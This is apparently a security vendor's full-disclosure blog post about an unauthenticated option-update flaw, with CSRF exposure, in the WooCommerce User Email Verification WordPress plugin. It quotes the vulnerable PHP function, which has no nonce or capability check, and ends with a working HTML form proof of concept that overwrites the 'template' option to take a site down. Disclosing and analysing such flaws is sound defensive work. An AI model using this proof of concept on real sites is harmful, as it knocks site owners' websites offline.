11 Mar

Full Disclosure of Option Update Vulnerability in Woocommerce User Email Verification

On Friday we detailed a privilege escalation vulnerability in the plugin Woocommerce User Email Verification. While that is a very bad security vulnerability in terms of what could be done with it, it at least could be seen as mistake as opposed to a failure to handle security in a fundamental way. That can’t be said about an option update vulnerability our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities spotted in the plugin at the same time.

The plugin registers the function save_tab_settings() to run during init, so when WordPress is loading:

24
add_action( 'init', array( $this, 'save_tab_settings' ), 9 );

Because of where that code is called from though, that only runs during init when requesting an admin page (you don’t have to be logged in to WordPress to make requests to those).

That function, which is located in the file /admin/class-xlwuev-woocommerce-confirmation-email-admin.php, provides access to three pieces of functionality only intended for Administrators:

76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
public function save_tab_settings() {
	if ( isset( $_POST['wuev_form_type'] ) ) {
		XlWUEV_Common::update_is_new_version();
		switch ( $_POST['wuev_form_type'] ) {
			case 'wuev-bulk-verification':
				$this->bulk_verify_users( $_POST );
				break;
			case 'wuev-test-email':
				$this->test_email( $_POST['wc_email_test_recipient'] );
				break;
			default:
				$tab_slug = $_POST['wuev_form_type'];
				unset( $_POST['wuev_form_type'] );
				unset( $_POST['submit'] );
				exit(print_r($_POST));
				$settings_array = $_POST;
				if ( function_exists( 'icl_register_string' ) ) {
					foreach ( $settings_array as $key1 => $value1 ) {
						icl_register_string( 'admin_texts_' . $tab_slug, '[' . $tab_slug . ']' . $key1, $value1 );
					}
				}
				if ( isset( $settings_array['xlwuev_email_header'] ) ) {
					$settings_array['xlwuev_email_header'] = apply_filters( 'xlwuev_decode_html_content', $settings_array['xlwuev_email_header'] );
				}
 
				if ( is_array( $settings_array ) && count( $settings_array ) > 0 ) {
					$settings_array_temp = array();
					foreach ( $settings_array as $key1 => $value1 ) {
						$settings_array_temp[ $key1 ] = apply_filters( 'xlwuev_decode_html_content', $value1 );
					}
					$settings_array = $settings_array_temp;
				}
 
				update_option( $tab_slug, $settings_array );

Missing before providing access to those are two basic security checks, a check for a valid nonce to prevent cross-site request forgery (CSRF) and capabilities check to limit what users can access that code.

One of those pieces of functionality is of some concern since it would allow the requester to send emails to arbitrary email addresses, but the one of the most concern and what got flagged by our proactive monitoring is the functionality that allows updating arbitrary WordPress options (settings). Though as far as we can tell what the value can be set to is restricted so that you can’t set them to arbitrary values, so hackers can’t use it like they can the vulnerability recently fixed in the Freemius library. But as we have detailed with other vulnerabilities of this type it can be used to disable a website, by replacing the value of the “template” option.

When the value of the POST input “wuev_form_type” is set to that of a WordPress option the value of any other POST inputs will be used to determine the value to update that option to through the code in the “default” case above.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will disable the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="wuev_form_type" value="template" />
<input type="hidden" name="1" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.